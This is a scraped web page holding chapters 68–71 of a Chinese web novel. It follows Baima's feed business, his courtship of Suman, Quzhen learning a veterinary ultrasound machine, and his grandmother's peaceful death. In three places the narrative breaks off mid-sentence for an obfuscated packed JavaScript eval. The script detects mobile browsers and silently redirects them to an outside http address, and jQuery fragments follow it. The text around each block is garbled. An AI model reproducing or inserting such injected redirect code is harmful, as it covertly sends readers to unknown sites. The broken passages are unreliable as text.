苏曼和曲珍研究了半天,大概摸清楚了机器的使用方法,准备去实操一下。 次仁牵来一匹马,苏曼把机器搬到外面,白玛忙着拉线,大家手忙脚乱的等待着奇迹的一刻。 当曲珍把探头放在马肚子上的时候,屏幕上看见了熟悉的又看不懂的画面。 白玛和次仁都张大了嘴,随着曲珍探头的移动,他们竟然把曲珍当成了一个厉害的兽医一样崇敬了起来。 “哇撒!曲珍你真厉害。这么快就学会了。” “呃......这也不是很难,就是放上去就能看到嘛。” “还要多练习,多看。” 苏曼叮嘱曲珍这些天,好好的在马身上多练习练习,让次仁全力的配合她。 他们有了自己的B超机了,他们有了自己的“兽医”了,他们以后就能知道自己的马儿是否有怀孕了。 这真是无比高兴的事情啊。 “次仁,是不是以后我们可以收费给别人的牛马看怀孕啊?” 白玛灵光一闪,又想到了一个赚钱的点子。 苏曼惊异的一愣一愣的,对白玛佩服的五体投地。 68. 第68章 白玛家的流浪猫终于要生了,白玛妈妈说它已经给自己在杂物房搭好了一个产窝。 白玛妈妈担心杂物房里晚上冷,又给它在厅里炉子边用旧纸箱子做了一个暖窝。 进入秋天的夜晚已经很冷了,大概也就只有零上几度的温度,幼猫仔若是生在半夜,很有可能就没法全部活过来。 白玛早上醒来的时候,有时候会发现被子里毛茸茸的,就是那只粘人的小野猫。 它白天睡在窗台边晒太阳,晚上会钻进白玛的被窝里。 而白玛也并不嫌弃它,只是生怕压坏了它的肚子。 最近一段时间,白玛忙着饲料和次仁马场的事情,白天很少在家,白玛妈妈忽然走过来跟白玛说姑姑家的事情。 “你姑姑昨天跟我说,顿珠在外面谈了个女朋友,经常不回家,好几天都不回,她说她跟他说了,要是谈了女朋友,就带回家来嘛,不用老是在外面,又不是不让他们结婚。” 姑姑是离了婚的,只有一个儿子,顿珠比白玛大个几岁,在外面读了个大专,也谈了不少的女朋友,在他的社交平台上,白玛经常会发现他秀恩爱的视频又换人了。 今天爱你一辈子,明天就全部删掉了,又换成了另一个人,爱你一辈子。 好像前面那个爱一辈子的人,从来就没有出现过。 白玛其实有些羡慕顿珠,姑姑虽然离婚了,但是前夫还一直帮着养顿珠,姑姑爱打扮也很聪明,又谈了新的男朋友,这个男朋友也帮着一起养顿珠。 所以顿珠年纪轻轻就有了属于自己的粗粗的金项链了。 拥有粗粗的金项链,对他们来说,就像是拥有了自己的汽车,或者自己的房子一样,是他们的必需品,也是固定财产。 听说是姑姑的男朋友给买的,不过克数不算特别大,也就不到两百克的样子,白玛专门让阿妈跟姑姑打听过的。 而且顿珠还能去外面读书,见识也多,看上去也比白玛时尚多了。 白玛羡慕他自由自在,不用操心任何家里的事,像个被疼爱的小公子一样。 白玛妈妈和白玛说这个事,让白玛私下怀疑阿妈的用意,她跟他说这个是做什么? 是不是暗示他最近总是在外面忙,或者是暗示他可以和姐姐在一起,可以和姐姐结婚。 但是他肯定是不敢问的。 “顿珠也该结婚了嘛,年纪也不小了,也毕业了。” 白玛随口跟阿妈聊着,他没有心情去管别人,特别是顿珠,他就像个纨绔子弟,根本不需要别人的操心。 “阿妈,过段时间我们把房子修一下嘛,冬天漏雨就不方便了。” 夏天漏雨还能扛一扛,反正晚上再冷也不怕。但是冬天要是雨夹雪夹冰雹的,真的没法去弄那个屋顶,特别是晚上。 “你有没得钱嘛?” 修房子是应该的,只是可能又要花出去万八千的,哪怕只是在屋顶上加盖一层铁皮,也要这么多钱,甚至可能都不够。 “下个月嘛,下个月有,我们那个卖饲料的钱,应该差不多了。” “可以嘛,你修嘛。” 白玛妈妈很高兴的答应了,白玛卖饲料是能挣到钱的,他也没有白在外边忙活。 还是苏曼厉害,想到了卖饲料这个事情,更厉害的是,她能去帮白玛找到饲料的厂家。 要知道,他们这些没文化的人,别说找厂家了,就是走出巴龙县都认不得路。 所以,白玛妈妈每次出门去兰城看病,都需要带上姑姑,姑姑能说会道,在外面学习能力也强,什么东西一看就会。 白玛也很高兴,今年终于能把屋顶修一修了,他不但想修屋顶,他还想给家里盖一座新房子,不说像舅舅家那样豪华,至少也要有个差不多的样子。 比他们现在这个简陋的房子更像个样子就行了。 他想在他出嫁前,帮妹妹把家先支棱起来。 梅朵临近小学毕业,越来越没有心思上学了。总是嚷嚷着要回来放牛,要跟着白玛卖饲料,她已经在想靠自己的双手做事情了。 “阿妈,明年梅朵毕业了,她回来给她放牛吧。” “随她嘛,她想做什么就做什么,我不管她的。” 阿妈就是这样的,只要妹妹开心就行,做什么都行,反正都是一样活着。 她也吃不了多少,花不了多少,每年也就是看病花一些钱,但是大部分国家都给报销,她也没什么好大的追求,一切都很随意。 “你也不要搞的太累哦,钱是赚不完的。” 白玛妈妈叮嘱白玛,不要把钱看的太重,那不是第一要追求的东西。 “晓得嘛。” 高原上的白雪常年都挂在山尖尖上,每天看着都不会有变化。日日一天天的过,也没有太大的变化,人这一生,又能有多大的变化呢。 村子里又有两家人要结婚了,一个是白玛的同学,一个是白玛的公务员表哥。 表哥二十八岁了,一直都没听说过他有要结婚的女朋友,却突然准备要结婚了。 听说这次送红包的人特别多,光一场婚礼就能收到大概二三十万的红包。 白玛在想,不知道他结婚的时候,会不会有这么多人送红包,毕竟他要嫁的是一个汉族姑娘。 大舅舅那边也还没有松口,就这样一直僵持着。 总之,白玛是不会妥协的。 - 扎西终于看完了草场,还了白玛一部分钱,还剩下一部分,说是要帮着卖饲料,然后从赚的钱里面扣。 白玛相信他的能力,也希望扎西能把饲料卖好,这样大家也就都赚到钱,都能好了。 “你结婚还没定啊?” 扎西本来说来白玛家里,来说卖饲料的事,但是白玛把地点约在了次仁的小马场,顺便也让扎西看看他们新买回来的种马和B超机。 扎西坐在次仁的马场,心思已经不在结婚上了,他现在一门心思想赚钱,想获得次旦家里的认可。 虽然次旦怀孕了,他们肯定是要结婚的,但是,遇到机会,他也是不会放过的。 特别是看到兄弟们都开始做自己的事了,连曲珍都在做事。 “再过一个月嘛。没得事,反正大家都知道咯。” 怀孕了再结婚,这也没什么丑的,草原上不懂事的年轻人,经常会遇到这样的事情。 不要说年轻人,可能连他们的父母也是这么过来的。 曲珍现在俨然一副马场大管家的模样,给他们每个人拿来一瓶喜虎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114707|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些都是她自掏腰包买的,她开着她的车,一趟一趟的拉了不少东西过来。 次仁想阻止她,但是又害怕与她说太多话,他隐隐有种感觉,曲珍他是甩不掉了。 他会偷偷观察曲珍,比如说她是不是依然骄傲,朋友圈里是不是依然会发一些莫名其妙的话,特别是她的大金链子,她好像很久都没有戴了。 曲珍也不再咄咄逼人,而是默默的守在次仁的身边。 好像她的这种转变,是从次仁受伤后开始的,也是那时候,她去请教的苏曼。 她小心翼翼的维护着次仁的骄傲,而放下了自己的。 “曲珍,你就是这个马场的老板娘索?” 扎西依然口无遮拦,也依然一针见血。说不定,又要被他说中了。 次仁“呲”了扎西一声,扎西赶忙吐个舌头闭嘴,白玛抿着嘴笑,他忽然懂得了苏曼这样安排的意图。 “曲珍是我们马场的大管家嘛,我们忙我们的事情,她管马场嘛。很多事要做呢。” 白玛帮曲珍说话,曲珍舔了舔唇,笑着道:“扎西,你别拿我打趣哈。” 说着曲珍抢走了扎西面前的喜虎:“你别喝了。” “哎哎哎!开玩笑的嘛。”扎西又从曲珍手里抢了过来:“你看,次仁现在都不帮我了。” “我们以后打B超还要指着她呢,我们哪敢得罪她哦,她现在是技术人员,技术人员懂不。” 次仁看了一眼曲珍,她好像真的不一样了,她的心思都在马场上,她的心思都在做事上了。 她把马场收拾的井井有条,每天在马场喂马,喂完了马,又开始搬出那台B超机,对着一匹母马不停的练习。 她好像没有再天天围着他转了。 “没有没有,我还在学习呢。” 被次仁这么一说,曲珍捋了捋头发,她有些害羞了。 “哎呀,别谦虚嘛。你以前可不是这个样子哦。你以前威风的很呢。”扎西夸道, 威风的很,是夸人的,无论男女。 但是,曲珍现在似乎不太喜欢这种夸赞。毕竟以前的次仁,也是“威风的很”,她也“威风的很”,两个人就很相配。 但是现在的次仁,不能再用“威风的很”去夸他了。所以,她也不需要这个“威风的很”了。 “什么威风,那是以前不懂事嘛。小嘛。” 曲珍比次仁小三岁,自然有些小姑娘的任性和娇气。 何况身边还有那么多小伙子日日夜夜的捧着她。那微信上的情歌都是六十秒六十秒的发,各种鲜花、求爱的表情包,每天都不重样。 草原上的男人,热烈起来,比太阳还要火热。 在这样一个蜜罐里泡大的女孩子,虚荣自然是被捧的越来越高。 虚荣与无知一起增长,直到有一天认识到,学会脚踏实地,才是最短的路径。 “你也不小了。” 次仁接了她的话。 曲珍的脸瞬间红了起来,她不知道次仁这么说,是不是说她不懂事。 “次仁!你年纪也不小了,怎么还这么说话呢。” 苏曼站了出来,呵斥了次仁。 曲珍眼里有些泪花,委屈极了。这个次仁,为什么说话总是这么难听。 69. 第69章 “我是说她年纪不小了,也该结婚了,别跟我们在这里浪费时间。” “次仁!” 苏曼再次呵斥了次仁,他可别再说话了,曲珍的眼泪真的快要掉下来了。 只见曲珍缓了缓,认真的说道: “我在这,你还不知道为什么吗?我学B超机,怎么算是浪费时间呢,就算没有你,我也不算是浪费时间,我也学到了东西了。” 次仁微微扯动了嘴角,他好像挺满意这个回答。 “那就好。” 冲突总算过去了,扎西也吓了一身冷汗,以前的次仁最多就是不理睬曲珍,可没像今天这样针尖对麦芒的。 “哎呀,白玛,说说我们卖饲料的事嘛,他们两个我们不管了,天天吵,天天吵,不过这样也好,说不定哪天就和好了。” 扎西说的和好,是指两个人在一起了。 曲珍低下头去,她也希望有一天能和次仁好起来,她愿意就这样一直等着。 “你就去卖嘛,按我给你说的价格,有人要了,你就告诉我,我去给你送嘛,你自己又没个车。我就说你啊,扎西,做事情,没个车子还是不方便的,摩托车又拉不了几袋。” 白玛翘着腿,嘴里不知道从哪里叼来的一根草,现在俨然一副老板的模样。 扎西:“等我结婚了,我跟次旦说一下,家里还是要搞辆车,我们村上有个人换车,他说他的车一万六卖给我,他开了好多年了。” 白玛:“对嘛,你卖两头牛就能买了嘛。不急,这段时间我先送着,等以后你就自己送了啊。” 扎西:“次仁你要不要也卖饲料?一起嘛,这么好的事。” 次仁:“我不要,我养马呢。哪有那么多时间,又不比得白玛,当个老板轻松的很,活都叫我们干了。” 白玛:“哎哎哎!我们是合作嘛,我跟扎西也是合作嘛,” 扎西:“对咯,你们两个现在都是大老板咯!我现在就是给你们打工咯。” 次仁:“可没有我啊!” 白玛:“什么打工,我们是合作。” 几个人一来二去聊半天,苏曼和曲珍在一旁也聊着她们自己的,她们多希望这些事情能做起来啊。 次仁有了自己的马场,曲珍很是替他高兴,要是明年真做起来了,他们又能在一起,那就正好可以结婚了。 曲珍一心一意的想要嫁给次仁。 而苏曼,一心一意的想让白玛的日子好起来。 扎西:“白玛,姐姐这么厉害,你可要好好珍惜哦!” 白玛叼着草,把凳子往苏曼那边移了移:“那是的嘛!” 苏曼舔了舔唇,不做声,曲珍一旁抿着嘴笑。 次仁看一眼曲珍,她有些开心了,她也希望白玛能和苏曼在一起。 次仁站了起来:“走吧,去骑会儿马吧。” 白玛和扎西也站了起来:“走走走。反正今天也没什么事了。” 这是次仁受伤后,第一次骑马,大家都心照不宣。 次仁总是要回到马背上的,虽说不能像以前那样骑的那么狠了,但是普通骑是没问题的。 “走,我们也去看看。” 苏曼拉着曲珍一起,将凳子搬到了马场边边上。 次仁牵来两匹马,一匹是新买回来的种马,顺便叫扎西看看。 白玛陪着苏曼又坐了下来,看次仁骑马,扎西对种马“啧啧”称赞。 “白玛,你厉害的很哦,现在都有自己的种马了。看来以后你跟次仁要发财咯。” 扎西提了提他的裤腰带,准备骑上去,却被白玛连忙制止。 “哎,这个骑不得,这个是给你看的,不是给你骑的,最近它累死了,可驮不起你。” 种马最近一直在配种,白玛可不舍得让它被人骑。 “哎哟,宝贝的嘞!”扎西把白玛拉到一旁,悄悄的问道:“哎,白玛,我问你,你跟姐姐到底表白了没有嘛?” 白玛:“肯定表白了嘛,我明年要嫁给她呢。” 扎西:“什么?你们都讲好啦?” 白玛:“那倒没有。” 扎西:“哎哟,那你是一厢情愿的呢。你要搞快点哦,不然曲珍跟次仁都结婚了,你还没有呢。” 白玛:“那不可能,我肯定要结在他们前面。” 扎西:“哇噻!兄弟,你好样的!加油,快把姐姐追到手。” 扎西伸着手,够着白玛的肩膀,因为身高的缘故,看上去有些不协调。 扎西意味深长的看着苏曼,苏曼一脸愕然:“咋啦?” “没什么,我就看看我家嫂子。” “什么啊?” 苏曼看着白玛,白玛扶着额头,一脸羞涩:“姐姐,我说要你做我女朋友呢。” 曲珍本来一直在看远处的次仁骑马,这下也马上把头转了过来,惊讶的看着白玛。 “白玛,你这是表白吗?” “不是不是,我已经表白过了,姐姐还没答应呢。” 白玛羞涩又深情的望着苏曼。 “哎呀,嫂子,我们白玛这么好的一个小伙子,你就赶紧答应了他吧,你们两个很配呢。” 扎西可太希望苏曼这个汉族姐姐做他的嫂子了。 苏曼无奈的看着白玛,白玛眼神里祈求的都要溢了出来了,他多么希望姐姐能接受他啊。 苏曼知道,自己也喜欢他。 自从上次他打火回来以后,她就知道,白玛对她来说,很重要。 “看你表现吧。”苏曼轻声又害羞的说了一句, 一瞬间,白玛的天都亮了。 “姐姐?!” 白玛马上移到苏曼的身旁:“姐姐,你要我怎么表现嘛?我肯定做到!” “你把饲料再卖上五百袋,我就答应你。” 第二批饲料,补的刚好就是五百袋。 “哎哟,姐姐,你这个要求也太低了吧。”扎西打趣苏曼, “什么呀!” 苏曼的脸一下子就红了,她瞟了一眼白玛,白玛正直勾勾的盯着她,一切都在他的眼里。 姐姐是真的喜欢他。是真的! 白玛浑身充满了干劲:“姐姐!明天我去趟林孜县!” “干嘛去啊?” 苏曼还未从刚才的害羞中转变过来,一下子就被白玛这句话说懵了。 “卖饲料啊!而且,我自己一个人去,不用你陪我。” “啥意思?”扎西迷惑, “就是万一姐姐去了,说不算是我卖的怎么办?” 单纯的白玛还真是单纯,大家都被他逗乐了。 曲珍:“白玛,没想到你心眼子还挺多啊!” 扎西补刀:“他一直心眼子都这么多,要不怎么做那么多生意呢。” “嘿嘿。”白玛直接蹲在苏曼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128644|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的椅子旁边,这样他就能离姐姐更近些了。 苏曼的心脏跳的有些快,她没想到,自己就这么答应他了,而且,还是当着这么多人的面。 或许正是有这么多人在,她才更想给白玛一个面子吧。 当着这么多人的面,答应他,他一定很有面子。 大家嘻嘻哈哈的,惹的远处的次仁也无心骑马了,他稳稳的跑了几圈,就把马牵回了马房。 次仁:“你们怎么这么开心啊!” 扎西:“那可不,姐姐答应白玛了。哦不对,是快要答应白玛了。” 次仁:“答应什么啊?” 扎西:“答应做他的女朋友啊!” 次仁:“......” 这什么跟什么啊,怎么就在这答应了?这么多人?聊这个? 次仁看苏曼不说话,看白玛一脸得意,看曲珍意味深长,唯有扎西兴奋不已。 他呢?好似心里也并没有那么难过,只是心情有些复杂。 他是真的喜欢苏曼吗?他也不知道,或许真的如白玛所说,他不过是因为苏曼是汉族女孩吧。 “挺好。” 次仁也蹲在了另一边,他看着前方的马场,曲珍就坐在他的身后,他在想,他到底想要的是什么。 他自己也不知道。 在这个无忧无虑的高原,好像每个人都没有生活的目标。每个人生活的目标都只是活着,每天认真的、开心的活着,就够了。 他们根本没有目标。 或许,有时候,他们的目标是一匹马,或者是一个爱的人。 但实际上,他们也并没有那么执着,一切又都是那么随缘。 得不到的,是可以放弃的。 - 白玛一早准备出发,去林孜县,找马场的老板卖饲料。 出发前,阿妈跟他说,昨晚小流浪猫终于生了,生在了杂物房里。 阿妈昨晚一晚都没有睡,在杂物房里盯着流浪猫生仔,白玛却完全不知道。 晚上的杂物房多冷啊,阿妈原来一直在关心着小流浪猫,她给猫咪重新搭了一个厚实的窝,是用屋里的一床被子搭的。 “你看,我把整张被子都给它了。” 白玛妈妈笑着拉白玛去看,露出了她的那口坏牙,她好像最近一直都很开心。 “以后就让他们住在我们家嘛。” 白玛很喜欢那只流浪猫,他们两个还经常一起睡觉。它的孩子,新出生的小猫,肯定会认他们家的,以后也不算是流浪猫了。 白玛看流浪猫躺在窝里给孩子喂奶,又不停的一个个舔着小猫仔子。 他想,连动物都爱自己的孩子,为什么有的人,却不如动物呢。 他匆忙吃着手里的锅盔,陪阿妈看完小猫咪,就赶紧换上了长衣,准备出发。 他将腰带扎的紧紧的,换下靴子,换上了一双球鞋。今天,他一定要卖出去五百袋。 他很快就要和姐姐在一起了。 他一定会和姐姐在一起的。 “阿妈,今晚我不回来吃饭了。” “咋?要去那么久索?” “嗯。” 他也不知道要去多久,要呆几天才能卖出去五百袋,但是,卖不完,他肯定就不打算回来。 姐姐答应他了,姐姐在等着他。 他不会让姐姐失望的。 一辈子,都不会。 70. 第70章 村子里有个女人私奔了,扔下了自己的孩子,几个月后又回来了,她的老公原谅了她,可能是因为爱,也可能是因为孩子。 总之,两边家庭正在谈赔偿的事情。 这种事情偶有发生,这样的处理方式,也是比较常见。 若是不离婚,那就赔偿。这里的一切事情都可以坐下来谈。 如果你的真爱,是别人家的,并且“爱”了,那就要花钱。 白玛妈妈也被叫去了一起谈这个事情,她坐的很远,她不想参加,但是奈何是亲戚,没有办法,只好过来充个人头。 为了爱情,连孩子都不要了,这种做法她是不认可的。 但是,这是热烈奔放的草原,什么事情都有可能发生。 至于那个女人为什么会回来,她的老公为什么还会接受她回来,外人是不好打听的。 今天,只是谈一个价钱。 最后,谈好了,由那边带她私奔的男人,赔给他们家八万块。 “真爱”的代价,可以明码标价。听说,外村还有赔十几万的。 这个私奔的女人,回来的时候,脖子上多了根明晃晃的粗粗的金项链。 村子里的人都羡慕她,长的好看,命也好,两个男人都爱她。那个带她走的男人,愿意为她花这么多钱。 这样看来,爱情可以标价,但又好像,他们的爱情是无价,为了爱情,花多少都可以。 真是难以理解。 白玛妈妈结束后去了大舅舅家,她给奶奶剪指甲,没过一会儿奶奶把她脖子里的天珠掏了出来。 “我活不到多久了,你帮我解一下,这个给你。” 这是一颗祖传的两眼千年至纯天珠。 用汉地的价值来说,至少应该是值个三、五十万的。 在高原,千年至纯天珠,是硬通货中的硬通货,是可以拿到银行去做抵押贷款的。 真正的千年至纯天珠,存世极少。 传说,是由天降而来,可以驱邪避害、做护身符,也可以入药治百病。 “阿妈,我不能要,这个是保护你的。” 白玛妈妈不敢接,阿妈年纪大了,就靠着这颗天珠保佑,若是摘下来给了她,她是会十分心不安的。 “我活够咯。再活下去,就是受罪咯。老天爷给了我这么长的寿命,我不能再贪心咯。” 抛弃“物质”的贪欲,是他们修行的一种,最后,是要抛弃“情”的贪欲。 许多人,临终前,将财产做了分配,放下了物质,但是临终时,却很难放下亲情。 奶奶没有文化,一辈子念经,念珠时时刻刻在手。 她早就放弃了对生命的执着,甚至期待在死亡来临时,对自己的修行做检验。 那才是她此生的毕业考。 奶奶坚持要把天珠送给自己最爱的女儿,也是最苦的女儿。白玛妈妈拗不过,只好虔诚的接了过来。 奶奶颤抖着手,将那根绳子又绑在了白玛妈妈的脖子上。她慈爱的看着白玛妈妈,白玛妈妈脸上的沧桑与皱纹,在她眼里,依然是个小女孩。 大舅舅坐家,奶奶虽然住在大舅舅家里,但是每天还是白玛妈妈在照顾她。 白玛妈妈没有分得什么财产,却一直在做着照顾奶奶的事,一切都源于对母亲的爱。 “阿妈,白玛好像谈女朋友咯。是个汉地的姑娘。” “好啊,他终于有喜欢的人咯。这个孩子,心思都在家里了,也是苦了你跟他咯。” 降措和梅朵还好,没有受什么苦,家里有什么事情,也都是哥哥去做,最苦的还是白玛妈妈。 实际上,白玛自己从来都不觉得自己苦,他的阿妈已经给了他许多许多的爱,和支持。从小到大,他从没觉得自己缺过什么。 “哎哟,我家白玛也快要嫁出去咯,阿妈,我让梅朵坐家怎么样?” 白玛妈妈想和自己的阿妈,商量一下自己未来的打算。 “可以嘛,梅朵虽然不怎么做声,但是这样的性格好,踏踏实实的,坐家好。” 谁都怕坐家的孩子是个败家子。 草原上也有败家子。天天坐在帐篷里打牌,输光家产的男人有,不顾家在外面谈恋爱的女人也有。 “是嘛,她也快了嘛,明年就毕业回来了,她说自己想养牛呢。” “养牛好啊,梅朵可以哦!知道自己想做什么,人就怕不知道自己想做什么哦。” “是嘛是嘛。” 白玛妈妈也想让梅朵坐家,两个女人,互相照顾起来,肯定是要方便许多的。 这么多年,其实都是她这个女儿在照顾阿妈,阿妈也更喜欢她的照顾。 大舅母常年在牧场上放牧,大舅舅自己生了十个娃,忙里忙外的赚钱,也没有那么多时间去照顾阿妈。 虽然他和白玛妈妈一样,也是个不爱说话的。 “哎呀,今天天气好啊,我们去县上洗个澡吧。” 奶奶不知道白玛去了林孜县,她想让白玛开车拉他们一起去县上洗澡,今天大舅舅在家,不过他的车子被别人借走了。 村子里有车的人并不多,有的家里是有小汽车,但是没有带斗的货车,有的是只有用来拉东西的货车,却没有小汽车。 所以,大家互相之间,借车子,也是常有的事。 曾经白玛就说过,羡慕别人院子里停的是小汽车,而他的院子里只有马。后来阿妈给了他两万块钱,叫他去兰城买一辆车。 他和洛绒表哥坐了九个小时的车去了兰城,选了一辆一万八的二手车,又花了两千块钱修修补补,在兰城将车子拾掇好之后,由洛绒表哥一路开了回来。 那时候的白玛,虽然已经是开车老手了,但是他还没够年龄,没能去考驾照,直到去年挖完虫草下来,才去报了个名。 高原上考驾照比汉地要贵一些,有些人就会为了省钱,专门跑到兰城去考。 但是白玛算了算,加上路费、住宿费,也差不了太多。家里的事情又多,他也走不开,所以就还是决定,在巴龙唯一的那所驾校报考了。 “白玛不在家哦,他去林孜了哦。”白玛妈妈道, “那要好久回来嘛?” 奶奶眼里流过一丝失望,但很快她又继续淡然的望着远处,太阳底下玩耍的那几个大舅舅家的孩子。 “不知道呢,他去那边卖饲料嘛,那边养马的多。” “哦,好啊好啊,白玛越来越厉害了,以后结婚了也不怕了哦。” 奶奶说的是以后白玛可以独立养家养娃了。 “是呢,白玛都十九了,也快结婚了。以前他总说他不想那么早结婚,我看他现在不一定是咯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137130|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子的心思,总是逃不过母亲的眼睛。 “是嘛,明天的事哪个说的清楚,顺其自然就好嘛。” “德西爸爸没有不高兴吧?” 奶奶又继续问道,她其实什么都知道。 “没嘛,我们上次给他送了一大块牛肉嘛,没得办法,白玛不喜欢嘛。娃娃们的事,我也不想管太多。” “就是,让娃娃自己选嘛,大人哪晓得那么多。” 白玛妈妈和奶奶就这样,坐在太阳底下的凳子上,一边晒着太阳,一边有一搭没一搭的聊着。 她们两个人相伴许久,守护着这些娃娃们一天一天的长大。 最后奶奶没有洗成澡,是白玛妈妈烧了热水给她擦了身子。当然,就算是去县上洗澡,她也只是坐在水池边,让白玛妈妈给她擦身子。 白玛妈妈给她换上了干净的衣裳,将旧的衣裳带回自己的洗衣机里洗,奶奶的衣裳一直都是白玛妈妈洗的。 大舅母家的娃娃太多了,要洗的衣服也多,这样就能减轻一些她的负担了。 日光缓缓落下,吃过晚饭,白玛妈妈才在天黑前带着小降措回家。 小降措在前面走着,小小的个子,肩上扛了一个差不多和他身子一样大的饲料袋,里面装着的都是奶奶的脏衣裳。 白玛妈妈在后边看着他努力扛袋子的样子,觉得小降措又可爱又懂事。 这天夜里,奶奶睡的安详。她独自走了,在梦中离开了这个她不再留恋的世间。 白玛匆匆赶了回来,都没来的及跟苏曼打招呼。 他知道奶奶不会陪他们太久,也知道奶奶早已做好离开的准备。只是没想到,这一天到来的时候,他还是会觉得遗憾。 遗憾自己没有用更多的时间陪伴奶奶。 “阿妈,奶奶走之前说过什么没有?” “有的呢。她说你谈个汉族女朋友好的,夸你乖,厉害着呢。以后养娃娃没得问题。” “奶奶也知道索?” 白玛很意外,奶奶竟然也知道他谈汉族女朋友的事,甚至对于阿妈,他都没有说的很明白。更何况,他还没谈呢。 “奶奶什么事情都知道。她还把她的天珠给我咯......” 说着白玛妈妈抹起了眼泪,她知道,阿妈走了,走的很吉祥,是不应该哭的,这是好事,她要去更好的地方了,但是她还是没忍住。 这一世的母女情,就这么结束了,她阿妈疼了她一辈子,她也爱了阿妈一辈子。 可是,一辈子,真的好短啊。 白玛妈妈一边抹着泪,一边从胸口里掏出阿妈亲自给她戴上的天珠。 “白玛,你帮我解一下。” “干嘛要解嘛?” “你奶奶给我了,我给你嘛。我也没什么能给你的,这个天珠给你,以后你做嫁妆嘛。” 白玛鼻子酸的不成样子,眼睛发胀,奶奶去世他没有哭,可是阿妈对他的爱,却让他哭了。 他从小就知道阿妈有多爱她,他也爱阿妈。不善言辞的阿妈,总是把最好的东西留给他。 “我不要,这是奶奶留给你的。你身体不好,你戴着。” “你傻哦,你不拿到,到时候还要我拿去给你那个姐姐咯?我又跟她讲不清楚的。” “阿妈!” 白玛又喜又悲。 71. 第71章 奶奶在家里停了几天,整个村子里,几乎所有人都来为她念经,同时也沾沾她的福报。 她预知自己的日子,在睡梦中安详的离开。 这个奶奶哦!修行好的很哦! 黑色大鸟接受了她的身体,高山白云带走了她的灵魂。她的心,永远都和这片高原山脉连在一起。 “阿妈,奶奶最后那天想让我送她去洗澡,可是我不在呢......” 送走奶奶,白玛还是觉得遗憾。 “不在就不在嘛,一切都是最好的安排。你有什么遗憾的,那是你的遗憾,不是奶奶的哦!” 对哦。阿妈说的好对。 那是白玛的遗憾,不是奶奶的。 奶奶没有遗憾,她交待完所有的事情,也放下了所有的事情,不喜不悲的走了。 “我给她擦过了嘛,你莫想那么多了,日子还要过呢。她过完了这辈子,你还没过完呢。” 每个人都有他的一辈子要过,过的好不好只有自己知道。 奶奶对自己的一辈子是满意的,她给这个家,给每个人都做了一个好的榜样。 “阿妈,德西谈男朋友了,你知不知道?我跟你说一下哦,莫担心他们那边了。” 白玛妈妈听完并不吃惊:“谈了就好嘛。都是要谈的嘛,不是跟这个谈,就是跟那个谈。总是要谈一个的嘛。” 缘分这个东西,谁能说的准呢。你认定的东西,不一定是你的哦。真正属于你的东西,它总会来的嘛。 白玛妈妈就是这样,平淡的看待一切。或许奶奶就是这样教育她的,现在,她也这样教育着白玛和她的孩子们。 “是的嘛。” 白玛收拾完家里,准备去县上找苏曼,他回来几天了,都没有跟苏曼说。或许他不想让苏曼担心。 因为这没什么好担心的。 奶奶修行好,这是喜丧,他们不会为奶奶伤心。 但是苏曼不是他们,或许她会觉得死亡,就是一件伤心的事。 “阿妈,天快黑咯。你不要做饭咯,你带着降措去大舅舅家吃一口嘛。” 奶奶走了,阿妈就不用每天再去大舅舅家了,自然也不会在他家吃饭了。 但是今天,白玛希望阿妈继续去大舅舅家吃饭。 “你莫管我嘛。” 白玛妈妈开始烧炉子,她要习惯没有奶奶的日子,首先就是在自己家里做饭。 白玛看了一眼倔强的阿妈,紧了紧腰带,摸了摸胸前的兜里。他随手捞起长凳上的一顶旧毛线帽,也不知道是谁扔在那里的,戴在了头上。 长发掖在耳后,被裹在了毛线帽子里,露出了他好看的额头,和立体的脸,他要准备去跟姐姐道歉。 白玛跨出了门去,点着了他的小汽车,他好像许久都没有骑摩托车了,自从姐姐说摩托车危险之后。 - 苏曼是震惊的,她震惊这么大的事,白玛竟然没有跟她说。也震惊,奶奶的离开,白玛好像并没有特别的伤心。 “白玛,都怪我,不该让你去林孜县卖饲料,害你没带奶奶去洗成澡。” 果然,苏曼开始自我埋怨。 “怎么会呢,姐姐,阿妈说了,她给奶奶擦了澡的。而且,奶奶也不介意的。介意的是我们自己而已。” “那你介意吗?” “我一开始跟你一样,也是介意的,但是阿妈说完以后,我就懂了。奶奶没有遗憾,遗憾的是我们自己。但是,没必要的。真的!奶奶走的很好。她是睡着走的。” “嗯。” 苏曼心里还是有些难受,但是她不敢再提了,她只能自己去消化,这些高深的道理。 “可是,姐姐......” 白玛站了起来,走到露台边上,看着下面的路灯,他觉得他还有另一个遗憾。他没有完成他自己的承诺。 “怎么了?” 